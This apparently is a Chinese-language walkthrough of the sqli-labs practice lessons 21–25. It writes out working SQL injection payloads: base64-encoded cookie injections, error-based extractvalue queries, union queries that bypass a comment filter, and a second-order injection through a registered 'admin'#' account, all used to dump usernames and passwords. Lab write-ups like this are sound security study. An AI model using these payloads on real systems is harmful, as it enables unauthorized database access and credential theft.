目录
less-27a(过滤union 和select 的双引号型盲注)
less-28(基于错误的,有括号的单引号字符型,过滤了union和select等的注入)
less-28a(基于盲注的,有括号的单引号字符型,过滤了union和select等的注入)
less-30(Get-Blind Havaing with WAF)
less-32(GET-Bypass custom filter adding slashes to dangerous chars(GET-Bypass自定义过滤器为危险的字符添加斜杠)
less-33(GET-Bypass AddSlashes() )
less -34(POST-Bypass AddSlasches() )
less-35(GET-Bypass Add Slashes(we don't need them)Integer based)
less-36(GET-Bypass MYSQL_real_escape_string)
less-37(POST- Bypass MYSQL_real_escape_string)
less-38(Future Editions) 终于是最后一题了卍卍卍卍
less-21( 基于错误的复杂的字符型Cookie注入)
输入admin 和admin :发现cookie 中的uname 经过了加密,瞅一眼是base64
那还和上题一样,只不过需要把 cookie : 的注入信息先经过base64 的加密
还有一点需要注意: 就是cookie的闭合方式:单引号 和 括号的闭合方式
Cookie:select 1,2,group_concat(username,0x3a,password) from users #
//密文
Cookie: c2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyAjICAgICAgIA==
less -22(基于错误的双引号字符型Cookie注入)
和less-21 差不多,不同的是$cookee1的闭合方式:这里需要用双引号闭合
// 数据库名
admin" and extractvalue(1,concat(0x7e,(database()))) #
// 表名
admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema = database()))) #
// column_name
admin" and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name = 'users'))) #
//脱库
admin" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password)from users))) #
这里发现输出不完 ,太长了,那换一种写法,一行一行来输出,通过 不断改变 limit
admin" and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1))) #
密文:YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKWZyb20gdXNlcnMgbGltaXQgMSwxKSkpICM=
less-23(基于错误的,过滤注释的GET型)
查看源码:发现注释符被替换为空
这里不能用 order by 来查询有几个字段
原因:
where与order by是子句,and是操作符,用于where子句。
在MySQL的执行顺序中,where是远在order by前面的。
在第一个查询语句中,id='1' and '1'='1'作为where的条件,先被执行,得到结果集;然后是order by,因结果集中无第四个字段所以报错。
在第二个查询语句中,order by在where的条件中,在where执行时被忽略了,结果集生成后并未再执行order by
这里可以用union来查询 字段:
//报错
?id=1' union select 1,2,3,4 or '1'='1
// 正常
?id=1' union select 1,2,3 or '1'='1
爆库payload
?id=' union select 1,2,database() '
爆表payload
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名payload
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆值payload
?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
这里ID = -1 不用多说了吧,使左边查询为空,腾出回显位
当输入:
?id=' union select 5,4,3 or '1'='1
时:
这个 1 是从哪里来的呢? 其实是select 中有3块,3_column 和后面的 or ‘1’ and ‘1’ 组成的条件恒为真 所以为 1
这说明了这里的回显位为后两个,2_column 和 3_column ,所以我们在注入的时候要保证 3_column 的条件恒为 假,才能输出信息
less-24(二次注入)
我们先注册一个新账户: admin'# 和 123456 进入后的界面
然后我们修改密码:
把密码修改为 123123
此时我们修改的是 admin 的密码 而不是 admin'# 账户的密码
可以试一试:
修改完成后就可以 用 admin 和 123123 登录
用 admin'# 和 123456 还是可以登录 用admin'# 和 123123 不能登录
注入成功
或者我们 用 admin 加 4个空格 注册用户名 也是可以的
或者运用信息截断也可以 比如 数据中的uname 字段的类型为 varcher(10)(这里我们不知道长度是多少假设是10),那么我们可以注册 “admin+5个空格+a“
这时超出长度的字符串被截断 在数据库中只会存入 admin +5个空格
less-25 (过滤了or和and)
输入 : ?id=1 提示说过滤了 and 和 or